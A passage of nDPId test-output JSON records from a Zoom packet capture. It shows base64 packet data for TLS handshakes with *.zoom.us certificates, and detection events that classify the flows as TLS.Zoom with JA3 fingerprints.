+00424{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":810307,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyrAqAF11ROQadZTAbug3l9T65\/+gYAQD9rfDQAAAQEICiWc4MR4fR76"} +00422{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":812241,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0UEJAADMG0xrV9IxVwKgBdQG71lXIKlM96vs4TYAQAAu5NgAAAQEICniDA4AlnOCy"} +02364{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":814322,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUUENAADMGzXnV9IxVwKgBdQG71lXIKlM96vs4TYAQAAtA3wAAAQEICniDA4ElnOCyFgMDAEICAAA+AwMxHKNzc3bPFvsItIS+Ntr5brD5xQxlb1THM6M3hWHKHQDALwAAFv8BAAEAAAsABAMAAQIAIwAAAA8AAQEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAE"} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":186,"source":"zoom.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1569520470769,"flow_last_seen":1569520470814,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.85","src_port":54869,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr85zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02362{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":814403,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUUERAADMGzXjV9IxVwKgBdQG71lXIKljd6vs4TYAQAAv\/1AAAAQEICniDA4ElnOCyAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2R"} +00422{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":814443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl3AqAF11fSMVdZVAbvq+zhNyCpefYAQD9KeGAAAAQEICiWc4Mh4gwOB"} +02075{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":814521,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT0UEVAADMGzlfV9IxVwKgBdQG71lXIKl596vs4TYAYAAuPZwAAAQEICniDA4ElnOCyH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXng=="} +00423{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":814549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl3AqAF11fSMVdZVAbvq+zhNyCpjPYAQD9qZUAAAAQEICiWc4Mh4gwOB"} +00422{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":820356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0SA5AADAG2xzVE5BowKgBdQG71lTDwlhpC7yL4YAQAAsxMQAAAQEICntaEGglnOCv"} +02364{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":820993,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8HxAADAGLQ3VE5BpwKgBdQG71lPrn\/6BoN5fU4AQAAvhRAAAAQEICnh9HwYlnOCkhA+9V3CzWukfoIZTu+98\/2kL4EjDt5MLyApUxKxdFGc3bMqlLzEIN6pub4y8m+JXXSSBr5eXnIStbKw3TGbzYZERIOS+MJ96pCkJsOE0X2R3GEBR34wwpq8ABAQwggQAMIIC6KADAgECAgEAMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTcwNjIwWhcNMzQwNjI5MTcwNjIwWjBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA3p3X6lcYSaFb69dfSIbqvt3\/5O9nHPRlaLNXcaBed7vtm0npcIA9VhhjCG\/a8szQP38CVCJUENiygdTAdT1Lf8d3wz54qxoDtSBrL2orscWIfsS7HrDB2EUnb6o3WPeHJtfYLfapF7cfcjZOphc\/ZZiS2ypuXaL+iOAL3n\/ljRXh68s61eISohMt2I6vXxI9oAgFCLZcpWU4BEWZHqNgYHTFQaVyYhtixR9vXxpCvgJRZaiuIxhq\/HgDqU1\/gMP6q1r8oUCkyhkW\/rLI715zDe53vZr2eZi8sQdnohUN3aBYxkR7Cj5iKF+6QQdTWM8Rfjh0xfj\/tWmQj4R06pcbrwIBA6OBwDCBvTAdBgNVHQ4EFgQU0sSw0pHUTBFxs2HLPaH+3ahq1OMwgY0GA1UdIwSBhTCBgoAU0sSw0pHUTBFxs2HLPaH+3ahq1OOhZ6RlMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHmCAQAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAMkvzsso+kfwSxqEHjI53oDMGFFyQHhj3CKY9Chn5h4ARbmnklhcw\/zSRY3I47swcAaMdlCikMfZ6xFTX9uUxWAOizM5i25RFc7W\/RckktdWCAq0jeWmNuLZNzs9MyjMj6ByIqp2LQW4WySDliZ7NO9pw936ZJiAUVCWrbnOF5pshnQpsgg6o+MIM+hAebJbvhw3ED2GLre6DK5X4jpKEcjnrIOqD7YPNl24IvOtOJrZzK+TT9kz+JnHiYRF0Sv9XGocPdUguz1FpF6ACEmGV1dFAshBM7sSsEEOmpZ4K1ZVimg3PiILFMgzkK59F5g2fKJyxuSpaV603D68df9u9nxYDAwFNDAABSQMAF0EESPImvugtU0KpjcVessiy8JU57+qIpqsxeseOKfYCfz1iq6Ds0IVroKmU+Ir4kDqnKBeYIEmw8nb6R9MdV7io4AYBAQA7Fk6AQYJwZK7Bp0YwlZcAZPMe1+5OcyVjmX9UjjIMCHHGje4IsKuQ1pj683KeDbUlm8mn0TkRLdO2TAjkf+ZFEDiCZo0VlkyacxKXAk2SF3GWUKszao3d5pWFW8wlMPTdGbc8v2ZTIze7sxrxqwvq5T2ls1DmobEEScfF63Wn1DGI2Y0TpWh4g79B3o\/MsuS36UZPvUqPN9B2RBNWvd7iB5LjxoytkbadMfwHSR0i3d5cnYHRSEzxJoOIpN2ddwytDmIOldORXQdZApv5nY8INQpRy8Cz0FWhOkhoArpSyJIe3B0CxiWNOglkdan\/"} +01145{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":192,"source":"zoom.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":11,"flow_first_seen":1569520470742,"flow_last_seen":1569520470820,"flow_tot_l4_data_len":6425,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.105","src_port":54867,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam105zc.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00459{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":820995,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABP8H1AADAGMpHVE5BpwKgBdQG71lProAQhoN5fU4AYAAvQwgAAAQEICnh9HwYlnOCkCOcV4LXryBg7ECQkKFJbyns9FgMDAAQOAAAA"} +00423{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":821127,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyrAqAF11ROQadZTAbug3l9T66AEPIAQD9LZRAAAAQEICiWc4M54fR8G"} +02364{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822146,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUSA9AADAG1XvVE5BowKgBdQG71lTDwlhpC7yL4YAQAAvVVgAAAQEICntaEGglnOCvFgMDAEICAAA+AwN7HSdJy46W45AX9Lv3vARootkq2UiosP7i5aj7t6vxIADALwAAFv8BAAEAAAsABAMAAQIAIwAAAA8AAQEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAE"} +00821{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":195,"source":"zoom.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1569520470755,"flow_last_seen":1569520470822,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.104","src_port":54868,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam104zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02361{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822268,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUSBBAADAG1XrVE5BowKgBdQG71lTDwl4JC7yL4YAQAAt30AAAAQEICntaEGglnOCvAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0